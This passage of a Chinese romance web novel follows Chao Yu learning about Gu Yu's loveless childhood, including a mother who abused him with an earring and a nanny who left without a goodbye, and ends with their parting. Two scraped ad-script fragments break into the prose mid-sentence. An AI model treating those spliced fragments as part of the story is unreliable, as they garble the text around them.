晁雨打了辆车,她也没说什么,拎着菜坐了进去。 回了毛家小院,毛秀珍去洗脸,晁雨走进游戏房。 “狗哥……”晁二柱回过头来:“姐,怎么是你?” 晁雨靠在门口说:“今晚上吃葡萄炒玉米粒。” 男生们呼啦啦一下子站起来。晁二柱问:“妈今晚回来做饭吗?” “不回。” 晁雨给葛洁发过微信了。 “走走走,那吃面去。”男生们又呼啦啦涌出游戏房。 他们走后,毛秀珍走出来,进厨房拿了个淡绿的塑料盆,到小院里拧开水龙头接了盆水,又在小板凳坐下,把那些被压扁的青菜丢进去洗。 晁雨走过去坐在她旁边。 她咧嘴笑了下:“想不到吧?我是个垃圾婆。我为什么喜欢把乱七八糟的东西丢一起炒啊?因为以前没钱啊,捡到什么炒什么咯。” 48. 第六件小事12 毛秀珍年轻时不是什么走南闯北的社会姐,或者说,那是她想象中的她自己。 她从孤儿院出来,后来,被一对捡垃圾的老夫妇收养,没上过什么学。那对老夫妇年纪很大了,先后离世,她就在这一片捡垃圾为生。 有一天,她在菜市场的角落捡了个女婴,瘦得像耗子,人人都说养不活。 毛秀珍固执地把孩子养了下来,并给孩子取了个名字叫“毛青”。因为捡到她的时候她面如菜色,一张小脸跟青菜叶子似的。 毛青出落得越来越漂亮,十六岁的时候,一个北京的富豪意外来洵州旅游,了解了她的身世,想收养她。 毛青不愿意。 毛秀珍说:“这简直跟中彩票一样,你去吧,去过好日子。” 毛青问:“你是想让我去过好日子,还是想让自己的日子变好点?” 这天傍晚,毛秀珍坐在小院里边洗青菜,边对晁雨讲起这些往事。 讲到这里的时候,毛秀珍咧嘴笑了笑:“她这一问,还真把我给问住了。” “别说养母,就算亲生母亲,对孩子一定就是无私的吗?” “凭心而论,我是想让她去过好日子。但是摸摸良心我问自己,她一个这样出身的孩子,突然去北京那样一个家庭,会有多难,我没想过吗?我想让她去,真没一点自己的私心吗?” “我不知道,我真的不知道。” 晁雨问:“后来呢?” “后来啊,后来她嫌毛青这个名字太土,改了名叫毛慕清。”毛秀珍又笑了笑,一张皱纹密布的脸像老了十岁:“再后来闹得挺大的,她由这家人收养的女儿,变成了这家人的儿媳。” 晁雨明白了,她和辜屿的爸爸结婚了。 “她出钱,给我买了这个小院子。在那年头的洵州,不便宜的,我的生活一下子好了起来,我就坐在这里想啊,我从来不是什么垃圾婆,我走南闯北,是个不得了的女人。” “这就是你们小辈知道的故事了。”毛秀珍咧着嘴:“我虚伪伐?” 晁雨不知该说什么。 或许人就是这样复杂的动物。 “她再没回过洵州,也再没理过我。”毛秀珍说:“甚至后来她的婚礼,也没请我去。再后来,她生了小屿,她说,她生了个怪物。” “因为辜家的老爷子,很看重小屿,把小屿放到自己身边养着。后来小屿回到她身边,她说,费尽心思嫁入豪门,没想到是把自己推进了火坑。” “小屿和她的丈夫、她的公公一样,只想要赢、只懂得赢。辜家的家业就是这样一代代攒起来的,可对身边的人而言,他们的性格,逼得人想发疯。” 毛秀珍问:“你知不知道小屿生日是什么时候?” 晁雨正听得入神,下意识答:“七月二十四号。” 毛秀珍一愣:“你怎么知道?” “我……”晁雨一时语塞:“小时候有次他填表,我不小心看到了。” “哦。”毛秀珍点点头:“那你知不知道他为什么从来不过生日?” “因为小青从来不爱他。他六岁那年过生日,问小青,你能给我一件礼物吗?什么都行。” “小青笑了笑,说好。然后,”毛秀珍吸了一口气,顿了顿:“把自己的耳环摘下来,硬生生扎进了小屿的耳垂里,问小屿,喜欢吗?” “你应该会喜欢吧,反正你也不知道疼。” 晁雨心脏突地一跳,也像被一根软钉扎了进来。 不知为什么。 辜屿耳垂上那个洞再没愈合过。血迹洗净了,却渐渐生出一颗绯色的小痣,像一道再也不会愈合的伤。 “小屿不知从哪里找到我的电话,给我打了个电话,第一次叫我:阿婆。” 毛秀珍说着又咧嘴:“他那样的语气听得我心里一揪,我就去北京啦。一个在菜市场后流臭水的街里窝了一辈子的垃圾婆,就这样去了北京,你相信伐?” 毛秀珍眼神终于变得亮闪闪的,那是她人生中一次真正勇敢的、冲动的、风风火火的经历。 晁雨眼前好像能看到那一幕。 一个从没出过洵州城的老太太,背着个布包袱,挤上人挨人的绿皮火车。晃晃荡荡十几个小时,她在火车上没敢买水,因为卖得很贵。 北方的紫外线很强,她下了火车,举目四望,摩天的高楼好像会打圈圈,看得她有些眼晕。她站在火车站旁边的一个包子铺前,小心翼翼解开手绢,里面包着她随身带的钱。 她带着十几小时没喝水的发干的嘴皮,问:“肉包子多少钱?” “三块。” “素的呢?” “一块五。” “那来素的吧。”毛秀珍舔舔嘴皮道。 她穷日子过怕了,生怕回到那种穷日子里去,一辈子都不敢花钱。 一个这样的老太太,就这样轰轰烈烈杀去了她一辈子没见过的别墅,在那栋像皇宫一样的别墅里,救回了她的外孙。 从那年开始,辜屿就每年都来洵州过暑假了。 晁雨问:“你没迷路吗?” 毛秀珍讲这些的时候始终咧着嘴:“怎么没迷路?公交车都换了好几趟,那些带儿化音的北京话,说得又快,我听都听不懂。” 辜屿回到毛家小院的时候,看到晁雨双手背在身后,正靠着爬满葡萄藤的月门出神。 看见辜屿,她双手的手指一撑,站直了身子。 辜屿冲她点点头。 她用舌尖推了推齿后,终于开口问:“你妈妈,她为什么来找你?” 一个这么反感辜屿的人,主动来找他,肯定是什么大事。 辜屿语调平淡:“可能因为春闻杯我想退赛吧。” “什么?”晁雨着实吃了一惊。即便今天,她已经听过太多太多令人惊愕的消息了。 辜屿已往小院里走去了。 他站在夕阳下,回眸,看着晁雨连背影都写满惊讶。他开口:“你不该问我为什么吗?” “为什么?”晁雨脑子里一片浆糊,只是出于惯性地问。 “因为有时候我想搞砸一切。”辜屿淡淡地说:“这样事情就不会变得更糟了。” “围棋是,你也是。” 辜屿说完就走回小院里去了,隔着一扇不规则的月门,能瞥见一半毛秀珍埋头洗菜的身影。 - 晁雨一个人往马路对面走去。 惊愕在心里堆叠,如来不及考古的土层,晁雨暂且只来得及料理最上的那一层。 辜屿说:“围棋是,你也是。” 这句话在心里兜一个圈,晁雨想起那个辜屿提出给她当床伴的雨夜。 与一个人最远的关系是什么? 或许有人会觉得,是陌生人。 其实不是,是床伴。 身体有多近,情感就有多远。甚至说,身体的关系有多近,就会把两人的关系推向多远。 因为身体的极尽缠绵之下,什么情感都不愿流露的那道界线,会越发分明。 想要搞砸对一个人的感情,不是跟她当陌生人,而是当床伴。 “围棋是,你也是。” 这句话又在晁雨心里兜了个来回。 这句话几乎算是辜屿的默认了,默认辜屿喜欢她。 也许从一颗黑色的纽扣开始,也许从一句走音的“生日快乐”歌开始,也许从更多晁雨还没记起的小事开始。 只是辜屿是个从小没习得过感情的人。也许有人对他说过,他终将搞砸一切。 晁雨默默埋头走着,忽然撞上什么人,把她吓了一大跳。 抬头一看,才发现是许辰懿。 许辰懿问:“毛奶奶跟人打起来啦?” “你怎么知道?” “姐们儿这种社牛,在洵州住了这么久,还能没点线报?”许辰懿扬着语调:“为啥打起来了啊?” “因为清一色没和成,截和。” “嗨!多大点儿事啊。”许辰懿一拍巴掌:“这些老太太们。” 晁雨看着许辰懿。 她心里堵着很多很多的话想跟许辰懿说,但又不知从何说起,忽然想起九叔玩的扫雷,提起脚不知往哪儿踩的感觉。 两人并肩走了几步,一辆二八杠的自行车从她们身边路过。 现在的小孩都不知道什么叫二八杠了,这种自行车估计只有在洵州还能寻到踪影,真是神了。 蹬车的人扬声喊着:“桂花豆酿嘞——卖桂花豆酿!” 这是洵州本地一种特色甜品,介于豆浆和豆腐脑之间,带淡淡桂花的清甜。平时葛洁都会说:“别理别理,抢咱家生意的。”晁雨只能偷偷买。 这时她叫停了自行车,买了两碗,递给许辰懿:“一碗你吃,一碗你拿去给毛奶奶,她喜欢吃这个。” “你怎么不去?” “我刚看过她打架,我去了,她尴尬。” 许辰懿忽地笑了,抬手理了理晁雨垂在肩头的长发:“你可千万别再遇上老贱人那种渣男了。” “啊?”晁雨没跟上许辰懿的思路。 许辰懿:“你心肠太软了。以前我总想,怎么有心肠这么软的姑娘呢,没吃过亏还是怎么着啊。后来我到洵州来一看,得,估计你从小还真没吃过大亏。” 许辰懿的手指慢慢梳理着她的头发:“你的爸爸妈妈,你的家人,都很爱你。” 晁雨从前觉得这是稀松平常的事。 家人之间哪有不相爱的呢? 后来遇到许辰懿,现在遇到辜屿,她才发现,这事并不像她想的那么天经地义。 许辰懿的手指顺势往她胸前一戳,她胸前晃了两下,许辰懿嬉笑着说 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' :“不止心软,胸也软。” 晁雨:…… 许辰懿笑得更来劲了:“我要是个男的,我肯定追你。” 晁雨还没来得及说话,许辰懿又自己摆摆手:“算了,我还是别祸害你了。” “什么意思?” “我俩不一样。” “哪儿不一样?” 许辰懿想了想:“这话说出来有点矫情,但就那么个意思吧,我是个从小没得到过爱的人。” “那又怎么了?” “那又怎么了?”许辰懿重复了一遍晁雨的话,笑道:“你认真的吗,妹妹?这里面区别可大了,三观不一样,看事情、看世界的方式也不一样,比如,我其实经常有很阴暗的念头冒出来。” “我怎么不知道。” “阴暗的念头能告诉你吗?”许辰懿斜她一眼:“告诉你我还怎么当你心里的一枝花?” 许辰懿把桂花豆酿送给毛秀珍后,两人就回家了。 深夜,晁雨也说不上自己怀着怎样的念头出的门。 她既希望辜屿等在那里,又希望辜屿不要等在那里。 她既想看到辜屿,又不知这种情形下,能跟辜屿说些什么。 偏偏她看到辜屿了,就站在马路对面,一只手插在长裤口袋里,望着反射着红绿灯的斑马线,微微有些出神。 她走过去。 辜屿收回视线,才看到她似的:“有事?” 晁雨反而不知该说什么。 这时,一辆宾利滑停在路边,后排车门打开来,露出一张晁雨有点印象的脸。 “辜……”那人正要招呼,看见晁雨,愣了下:“雨姐?” 晁雨想起来了。 这双桃花眼,是辜屿世交家的儿子,晁雨在北京见过的,丁鷇音。 晁雨不知如何反应,简单打了声招呼。 丁鷇音回应了晁雨,又看向辜屿:“要去的话,可能得快点。” 辜屿点了一下头,便要上车。 “辜屿。” 辜屿回头。 “你要去哪?”晁雨刚才那一声叫他是出于本能,直到问出这一句前,她犹豫了一下。 不知为什么,她觉得不问这一句的话,她跟辜屿的关系,也许就彻底断了。 辜屿掌着车门站了半秒,问晁雨:“你要一起去吗?” “我可以吗?”晁雨反倒有些意外。 “可以。” 丁鷇音从后排下车,坐到副驾,辜屿和晁雨上车,坐进后排。 这是一辆上海牌照的车,跟毛慕清坐的那辆很像。晁雨不知道这些有钱人是不是都是这样,去了外地,也可以随便调一辆豪车来用,不会打车的。 因为有司机在,晁雨也不好问什么。 事实上,就算没有司机在,晁雨也不知该问什么。 黑暗中蜿蜒的高速公路好像没有尽头,就连向来话多的丁鷇音都意外沉默。晁雨看向坐在她旁边的辜屿,很意外地,发现辜屿也在看她。 辜屿也没想到她会突然看过来,撞进她的眼神里去,一时之间,却没挪开。 晁雨也望着他。两人对视了多久呢,一秒,两秒。 直到辜屿的睫几乎像是顺着她的心跳,轻地一翕,视线垂落下去,落在自己交握的两手上。 晁雨忽然想起网上的那句评论: [也许围棋选手连落子,都是在心跳与心跳之间,保持着头脑和情绪的绝对冷静。] 晁雨脑子里第一次的、冒出一个清晰的念头: 也许这个人,的的确确是喜欢着我的。 丁鷇音像是最终受不了这份沉默一般,手机掏出来,戳了两下,出声道:“你这届春闻杯的宣传海报,还挺酷的。” 晁雨想起在辜屿房里看过的那张海报。 应该是官宣了。先发布线上,再发布线下。不知辜屿退赛这事,是没上报,还是上报了却没商量好,还是先照计划宣传。 丁鷇音可真会聊天,专往雷区里蹚。 辜屿低低地“嗯”了声,车里又一次沉默下去。 丁鷇音继续挣扎:“右半边这是什么啊?《山海经》里的吧?” 辜屿:“穷奇。” “这名儿也挺酷的。” “像我吗?” “什么?”丁鷇音估计没想到辜屿会主动给他抛个话题,下意识反问了一句,才道:“哦,跟你那照片结合得挺好,浑然天成。” 辜屿喉咙里低低地哂了一声,很难说那是不是一声笑,因为他冷白沉淡的脸看向窗外,表情没有任何波澜。 只是交叠在一起的手解开来,其中一只摁在暗红的真皮座椅上,就在晁雨旁边。 晁雨想起这瘦长的手指,摁住海报上那半边穷奇的一幕。 忽然很想,握一握辜屿的手。 49. 第六件小事13 宾利并没开太久。 大约两个小时后,从高速公路下来,进入另一个水乡小城。又在城里开了一段,停在了一家医院的门口。 三人一起上楼。 已过了探视时间,但这是一间私人特护病房,丁鷇音应该打过招呼,一路走来,并没有护士拦他们。 辜屿站在病房门口。 丁鷇音停住脚步,问他:“不进去吗?” 这时终于有护士过来,压低声道:“可算有人来看刘婆婆了。” 丁鷇音跟护士寒暄了两句,护士离开后,辜屿的喉节轻滚了下,这才回答刚才的问题:“算了。” 丁鷇音愣了下。 来都来了,怎么又不进去呢? 丁鷇音想了想,有点为难地叫晁雨:“雨姐,要不你进去看看?她……儿女忙着争她的那点钱,没人管她的。我,我实在不擅长这个。” 晁雨一怔。 那会儿她甚至还不知道躺在病房里的是谁。 “好吧。”最终她还是说。 走进病房,环境不错,病床上靠着个老人,跟一拳能打死三头牛的毛秀珍相比,她算是形容枯槁,头发很少,紧贴着头皮。 大概白天睡多了,她这会儿反而睡不着,望着窗外的一棵榧树。听见动静,扭过头来看着晁雨。 晁雨有点尴尬:“那个,我跟丁鷇音一起来的。” “哦,小丁啊,他是好心人,带着公司做慈善,帮了不少重病的。”老人招呼晁雨:“姑娘,过来陪我说说话。” 寂寞久了的老人,是不在乎来者是谁的。 她絮絮叨叨的什么都讲,讲她年轻的时候在大户人家做保姆,讲回乡后儿女如何不孝、就惦记她手里那点钱,讲她每天躺在病房、几乎数清了窗外的树有多少片叶子。 晁雨本来心里装着事,是睡不着的。 只是在老人没任何波澜起伏的语调下,她眼皮开始打架。等老人终于靠在床头睡着后,她忍不住趴在床边睡了过去。 睁眼已是天蒙蒙亮,老人已靠在床头,恢复了昨夜里望着窗外榧树的模样。 病房外有脚步声响起。 辜屿走进来,递了份早饭过来,垂眸问晁雨:“吃么?” “啊,谢谢。”晁雨接过。 辜屿手里还拎着另一份,垂眸片刻,掀起眼皮,看向病床上的老人:“吃么?” “谢谢你,小伙子。” 晁雨坐在辜屿旁边,看着他把早饭递过去,复又垂下的手指,不适应突然的空落落似的,蜷了下,又松开。 然后叫晁雨:“准备走了。” 老人跟晁雨道别:“再见啊,姑娘。” 甚至没有说让晁雨再来的话。大概受够了亲儿女的冷暖,也不寄望一个陌生的姑娘会再来。 三人重新上了丁鷇音的宾利。 还像昨夜来时那么坐着,车又开回了洵州。 车开到毛家小院门口,晁雨看了眼时间,她甚至还来得及收拾一下去上班。 丁鷇音跟辜屿打招呼:“那我先走了。” 辜屿低应了声:“嗯。” 丁鷇音跟晁雨道别,晁雨回家简单收拾了下,重新出门上班的时候,看到丁鷇音还等在那里,一只手挠着头,打量着四周。 看见晁雨,挠头的那只手尴尬地在半空挥了挥。 晁雨走过去。 丁鷇音一脸尴尬地看着她问:“你们这儿有早饭吃么?” 晁雨瞳孔地震。 哪儿没有早饭吃啊? 不对,她是万万没想到,丁鷇音等在这里,是为了跟她说一句这样的话。 她掏出手机看了眼时间,如果现在带丁鷇音去吃早饭的话,必定迟到无疑。 丁鷇音有多想吃早饭呢。 他苦哈哈地跟晁雨说:“洵州这样的小城,我估计一辈子都不会再来了。” 晁雨叹了口气:“走吧。” 她带丁鷇音去了江西大姐的面馆,并解释:“洵州没有五星级酒店。” “嘿,你把我当什么人了?”丁鷇音看着对这种烟火气十足的小店还挺感兴趣:“这儿最有特色的是什么?” “辣肉面。” “那就来这个。” 丁鷇音这人是真不能吃辣,一双桃花眼辣得眼皮泛红:“辜屿吃过么?” 晁雨点点头。 “他跟我一样的出身,你怎么没想过他不能吃这些呢?” 晁雨微一怔。 可能,可能辜屿从小每年都到洵州过暑假。她了解的辜屿,是在洵州的辜屿。 丁鷇音又挑一筷子面,辣得吸吸嗦嗦地:“不对,说辜屿跟我一样的出身,是我高攀了。你知道辜家是什么样的家庭么?” 晁雨摇摇头。 丁鷇音一笑:“也是,真正的豪门,根本查不着对吧。哪儿像我们老丁家,百度百科恨不得吧嗒吧嗒写两页。” 就算能查到,晁雨也没想过去查。 “昨夜里咱去看的那老人家,是辜屿小时候的保姆。” 晁雨点点头。 丁鷇音:“你看辜屿哭过么?” 这话题有点儿跳,晁雨一时间没跟上。 丁鷇音说:“我看过。” “辜家老爷子特别看重辜屿,从小把辜屿放自己身边养着,但他哪有空自己带孩子,肯定是请保姆。保姆是个从水乡来的女人,当时四十多岁,刚夭折了个自己的孩子,就把辜屿当自己的孩子疼。” “辜屿小时候跟她特别亲,叫她姆妈。我去过辜家几次,其实心里挺奇怪,觉得老爷子怎么会允许辜屿这么依赖别人。因为辜家的教育,怎么说呢。” 丁鷇音咂了一下嘴:“赢和成功是放在第一位的,为了赢和成功,最好就别有太多感情。那句话怎么说来着,感情是软肋。” 说着他开了句玩笑:“大夏天的我去辜家庄园,都不用开空调的。” 晁雨默默在脑中勾勒了下这位辜家老爷子的形象。 如果辜屿是台冷气机的话,这位老爷子估计是冷气机ProMax。 “我七岁那年,辜屿四岁。有次我爸带我去辜家,我坐在车上等我爸,刚巧看见辜屿的保姆挎着个布包袱,匆匆上了辆黑车奔驰,没多久,辜屿从屋里跑出来,他应该在午睡,穿着睡衣,小时候他的头发很软,睡得有一点乱。” 丁鷇音说到这里停了下来。 好像在回味小时候的辜屿,跟现在有多么不同。 晁雨在家里吃过早饭了,她没有点面,就盯着桌上的酱油瓶。白瓷的小瓶用了很多年了,被酱油染出一点黄,边缘破了个小口。 晁雨就盯着那个小口问:“他哭了?” 她以为丁鷇音会说没有,她希望丁鷇音会说没有。 辜屿那样的人怎么会哭。 他应该从小就是台mini版冷气机,一路牛轰轰地朝着ProMax版冷气机方向发展而去。 可丁鷇音点点头:“嗯。” 他没有再说更多了。 晁雨的心像被江西大姐切肉的刀,很轻很快地剌了个小口子。 晁雨问:“他哭得很厉害么?” 丁鷇音又点点头:“嗯,穿着一只拖鞋,追着车。” 晁雨抬起一只手,又发现根本不知道要拿什么,又把手放下去,垂落回膝上,用力捏了下食指的指甲盖。 她又问:“那他的姆妈……” 晁雨说这个词说得很轻也很软,在她们江南水乡,孩子们都会管自己的妈妈叫姆妈,语调糯糯的,像撒娇。 她顿了顿,吸了半口气,接着问:“他的姆妈回头跟他告别了吗?” 丁鷇音咧嘴笑得有些嘲讽:“没有,一次也没有。毕竟辜老爷子给的钱足够多。” 这下晁雨不仅手没处放,连眼神也没处放了,只好继续盯着桌上的酱油罐。 她没去过辜家那连丁鷇音提及都语调震撼的庄园,但不知为什么她能够想象。 原来小时候的辜屿,是跟现在不一样的。 他头发很软,每次睡完午觉会有一点乱,会撒娇,会用软软的语调叫“姆妈”。 然后一个寻常的午觉,他心中似有不好的预感。 他突然爬起来跑到门外,一个从小教养极好的孩子,来不及完整地穿上两只拖鞋,光着一只脚。那座庄园很幽深,厚重的木门爬满经年的常春藤,他看着那辆黑色的奔驰,在石径小道上越开越远。 他哭着在后面追:“姆妈!姆妈!” 或许他没想过能把人留下来。 他从小肤色冷白,哭得脖根处都泛起一片红。他拼命地去追车,一只光脚踏在铺满碎石的小道上,上气不接下气地喘。 或许他只是想要一次郑重地道别,不要这样猝不及防地错失。 丁鷇音说这些的时候,始终笑得带些讽意:“你知道吗?后来,我再没看辜屿用过跑的。” 靠,晁雨在心里默默骂了个脏字,抬起眼皮来看了丁鷇音一眼,又默默把视线垂落回酱油罐上去。 丁鷇音这句话真够狠的。 像往心上刚剌出的小口子里倒勺酱油,整颗心就浸进了那种漤意里。 她的确没看辜屿跑过,那么多记者的镜头追着,没人看辜屿跑过。 不是因为围棋选手的沉稳。 而是因为,跑又如何呢。 留不住的,还是留不住。追不回的,终究是追不回。 丁鷇音:“辜屿小时候,还养过一只狗。” 晁雨顿了许久,才问:“那只狗有名字么?” 丁鷇音点点头:“叫舞苍。” 晁雨不想再问下去了。 她不想再问辜老爷子为了斩断辜屿的软弱,让那只狗遭遇了怎样的下场。 她脑子里浮现的是,小时候毛秀珍捡了只黄色的土狗回来,辜屿死活不肯给那只狗取名字。 被问到狗叫什么名字的时候。 他冷着张臭脸说:“土狗。” 到现在晁雨才知道为什么。 丁鷇音讲讲停停,终于吃完了那碗面,扯了节纸巾擤着鼻涕说:“所以我到现在,只要有机会,还是会拽着辜屿出来玩。” 因为只有他,无意间见过辜屿的那一面。 晁雨一时间没讲话。 她在想「春闻杯」的那张宣传海报。 左边的辜屿,是怎样被种上了鳞片,磨尖了爪牙,生出了染火的翅膀,变做自己亲生母亲口中冷情冷性的“怪物”。 她慢慢把那张海报在脑海中勾勒了一遍,才问丁鷇音:“你跟我讲这些干嘛?” “不知道。”丁鷇音耸了下肩:“这些话,跟熟人和陌生人都不太好说出口,在我心里憋了这么多年,你还挺合适的。” 晁雨点点头,站起来。 走出面馆的时候,她看着丁鷇音,丁鷇音也看着她。 “靠。”丁鷇音最终笑了,自己走过去扫码付钱。 晁雨:“我得去上班了,你叫司机过来接你?” 丁鷇音拨通手机后递给晁雨:“我不会讲路线。” 晁雨接过手机,跟司机描述了一遍,把手机还给丁鷇音:“那我先走了。” “别,我害怕。” 晁雨:…… 丁鷇音一双桃花眼无辜地看着她:“我很少一个人在陌生的地盘上。” 晁雨只好陪着他等车过来。 T恤上沾染的面馆味道,被晨风一点点吹散,晁雨胃里堵堵的,心里很慢地在消化丁鷇音讲的那些事。 “叫他出来玩是一回事,跟他谈恋爱又是另外一回事。”丁鷇音忽然说:“毕竟他现在已经是这样的人,你自己掂量掂量。” 晁雨瞥了他一眼。 这不是桃花眼。 这么会洞察人心的,是桃花精。 丁鷇音走后,晁雨去上班。 九叔斜着眼问她:“你怎么总请假?” “哪有总。”晁雨放下帆布包有气无力:“上了这么久班,我总共就请了两次假。” 九叔哼一声,好歹没再说扣钱的话。 过了会儿,他踱出办公室,踱回来的时候,把什么东西往晁雨面前一递,晁雨吓一跳。 定睛一看,是一根娃娃头。 晁雨狐疑地问:“干嘛?” 九叔把娃娃头往她手里一塞,回到自己办公桌边坐下:“请你。” 晁雨更狐疑地问:“为什么?” “因为你今天看起来特别不高兴。”九叔抬眼瞟她:“我怕你把办公室给炸咯。” 下班回家,许辰懿跟晁雨说:“我订高铁票了。” “什么?”晁雨愣了下。 这几天发生的事太多了,她都没顾得上想许辰懿就要走了这事。 许辰懿在她肩上一拍:“干嘛呀?又不是以后就不见面了,高铁也就几小时的事。” “我不知道。”晁雨在房里转了一圈,又在书桌前的黄杨椅坐下,嘴里喃喃重复一遍:“我不知道。” 许辰懿走过来在她面前蹲下,晃晃她的手。 她就那样捏着许辰懿的手。 她也说不上来。 只是,人生的离别好像永远是这样。小学,中学,大学,工作,你不断跟一拨拨人离别,嘴里说着要再见呀、要常聚呀,可从此境遇不同,终于也悄悄地、无声地渐行渐远了。 她勾着腰,抓着许辰懿的手:“我们不要变成那样。” 许辰懿没问她变成哪样。 许辰懿好像完全知道她在说什么,回握着她的手说:“好。” 吃晚饭的时候,晁二柱居然回来了,没和男孩们一起。 吃了一半,他说:“我得提前走。” 葛洁和晁雨一起抬头看着他。 “先回学校安排补考的事。还有,我在上海找了份实习。”晁二柱顿了顿:“毕竟开学就大四了嘛,不能继续混日子了。” 许辰懿的筷尖碰了下瓷碗边沿,铛地一声。 葛洁和晁雨又扭头去看她。 “对不起。”她赶紧看着晁二柱说:“影响你抒情了,你继续。” 晁二柱没再说什么,埋头去扒饭。 直到深夜,晁雨踏出老宅的门。 辜屿还是站在那里,站在马路对面的交通标志灯下,变换的淡淡荧光映亮他的脸。 晁雨忽然意识到,或许辜屿并不是在等他。 辜屿只是习惯了这样站在夜色里,安静的、沉默的、孑然一身的。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 晁雨走过马路,他看了晁雨一眼,在他转身往小院走之前,晁雨先开口:“去散步么?” 辜屿脚步一顿,点了点头。 晁雨便顺着青石板路往前走去,辜屿落后两步,跟在她身后。 夜晚的木安街在沉睡,连古老的围墙都发出平稳的呼吸。唯一醒着的只有他们、路灯、和木安街尽头的那间小卖部。 三花猫今天没趴在柜台上打瞌睡,在门前来回来去地溜达着,唐爷爷仍然挺着背在看电视,鼓肚子电视机里放着不知哪年代的老电影。 晁雨走过去,三花猫绕着她脚边转了圈,尾巴软软地扫过她脚踝。 她说:“两根娃娃头。” 她本来做好了唐爷爷会听成鹤顶红或卤猪头、中气十足跟唐爷爷对喊两轮的准备。 没想到这次很顺利的,唐爷爷从冰柜里拿了两根娃娃头递她。 晁雨一肚子气没处使的感觉。 走回来,把其中一根递给辜屿。 辜屿意外了下:“给我的?” 晁雨点点头:“嗯。” 她没再说什么了,两人一人举着一根雪糕,沿着青石板路往回走。 直到路灯好像因为电压不稳,忽然晃了那么下,她开口道:“丁鷇音给我讲了些你小时候的事。” 她左思右想,还是觉得应该把这事告诉辜屿一声。 不然总有一种私自偷看别人日记本的不道德感。 辜屿淡淡地一点头:“嗯。” 晁雨就知道,辜屿应该猜到了。 甚至辜屿昨夜带她去见“姆妈”,就是为了让她知道,他为何长成了如今的模样。 他是一个很利落的人,对弈时落子从不犹豫,有时候下快棋对决,甚至不对他的棋力构成任何影响。他瘦白的手指捏着根娃娃头,其实跟他形象很不搭调,但他吃得很快,就连吃雪糕也很利落。 反而晁雨有点走神。 知道了前因后果后,她再去回想今天早上,辜屿进病房来给她送早饭,然后看向病床的那一眼。 他是期待“姆妈”能认出他的吧。 他这么多年没去找,若不是丁鷇音做企业慈善时意外遇到,他甚至再也不会见,就是因为在他内心深处其实知道,“姆妈”并不会再认出他。 晁雨想到他递过早饭后,垂下眼睫的那一瞬。 心被换了瓦数的路灯照着,不是一种疼,是一种烫,烫得晁雨迫切地想要做些什么。 直至走到毛家小院门口,她回神,才发现她吃雪糕吃得太慢了。 黏糊糊地流了一手。 辜屿开口:“我要走了。” “嗯?”晁雨本来盯着自己手指上的奶油,此时抬眸。 “三天后,离开洵州。” 晁雨愣了愣。 即便知道夏天注定和离别绑定,因为从小到大,升学、毕业,都在这个季节发生。 可是今天这一天,她还是听太多她生命中重要的人,对她说要走了。 “生命中重要的人”。 她咀嚼了遍脑子里浮现的这几个字。 她看着辜屿,刚想开口问:“以后还来洵州么?” 突然顿住,把这句话吞了回去。 辜屿不会再来了。 辜屿把自己的生活切成了一块一块,谁都不曾了解完整的他。他来洵州过了这么多年夏天,丁鷇音先前甚至不知道洵州的存在。 既然辜屿昨夜让丁鷇音来洵州接他,这就意味着,他以后不打算再来洵州了。 他给晁雨当一个夏天的床伴,搞砸内心深藏的这份感情,然后头也不回地离去。 他说完,已往小院里走去。 “等一下。” 晁雨说完几个字,大约觉得辜屿不会为了这几个字而停下,下意识伸手拉住了辜屿的手。 拉完她自己先愣了。 她和辜屿无疑做过很多更亲密的事,拥抱、接吻、辜屿的手指探索过她的身体,可他们没有牵过手。 他们没有像正在恋爱的、将要恋爱的、想要恋爱的那些人一样牵过手。 辜屿回眸过来看着她,并没有把手抽出去,但也没有回握她。 晁雨又一次感受了那种心脏跳空的感觉,在这个夏天初始时、刚遇到辜屿时的感觉。 她并没想清楚自己要说什么或做什么,她只是下意识这么做了。 明明拿雪糕的是另一只手,黏稠的感觉却像也流到了她握住辜屿的那只手上。 先开口的是辜屿。 辜屿看着她,在爬满葡萄藤的月门前。 没有寒暄,没有迂回,像他落子一样单刀直入而直接。 “别留我,晁雨。”辜屿说:“难道你会喜欢一个被训练出来的怪物吗?” 尾音扬起,是他难得露出的疑问语调。他垂眸看着晁雨,惊异地发现,自己内心怀着一丝不可能的期盼,在等晁雨的一个答案。 晁雨拉着他的手一瞬沉默,又来了,她那咬嘴皮的坏习惯。 于是轻飘飘的夜风中,辜屿微扬的尾音、暗藏的期盼,就那样沉坠坠地落了地。 辜屿笑了。 他早知道。 在他的人生里,挽不回一个背影,也等不来一个答案。他话说到这里就可以了,再说,就是让对方为难了。 晁雨呆呆看着辜屿的笑颜。 在她记起的第六件小事里,她对辜屿说:“给姐笑一个。”辜屿说:“你等着。” 听起来像在放狠话。 毛秀珍说:“也等了这么多年啦,他好像,还是没有高兴起来。” 晁雨知道他现在还是不高兴。尽管她给他买了一根娃娃头,可她让他的希望落空了。 她仍握着辜屿的手,融化雪糕的黏腻好像粘住了她的手,她不知如何勇敢,却也不知如何放手。 辜屿抬起另只手,摸了摸她的头,淡笑着道:“回去吧。” 晁雨心里有一个点尖锐的痛起来。 洵州明明一切都该是柔和的,今晚却连月光都化作一根尖针。 辜屿从晁雨手里抽出自己的手,晁雨没来由一阵惶恐,她很清楚这一放手,眼前人飞往的地方越来越高、越来越孤寒,就再不是她可以够到的了。 她紧紧攥住辜屿的手,是辜屿强行一根根手指、从她掌心里挣了出来。辜屿很用力,他指节发白、而她磨红了手指。 “别担心。”辜屿说:“是我放的手。” 他头也不回地转身离去,身影很快消失在月门间。 晁雨终于站在原地失声痛哭。 而成年人的失声痛哭有多难呢,她死死咬着自己的手背、不敢把哭声放出来,怕惊扰小院里的毛秀珍,更怕惊扰马路对面的葛洁。 她眼前仍浮着辜屿刚刚的笑意,罕见的,温柔的,像取代了今晚不够柔和的月光。 她想起辜屿小时候那一头软软的头发,午睡之后会翘起一缕来。不知何时她听人说过,头发软的人,其实心也软。 辜屿心软吗,她不知道。 她只知道他离开前,对她微笑,让这个夏天不留遗憾。 她只知道他不想给她留任何心理包袱,不想斥责她的不够勇敢,于是他说:“是我放的手。” 50. 第七件小事01 晁雨回过神来的时候,才发现自己手里,还捏着半根化得不成形的娃娃头。 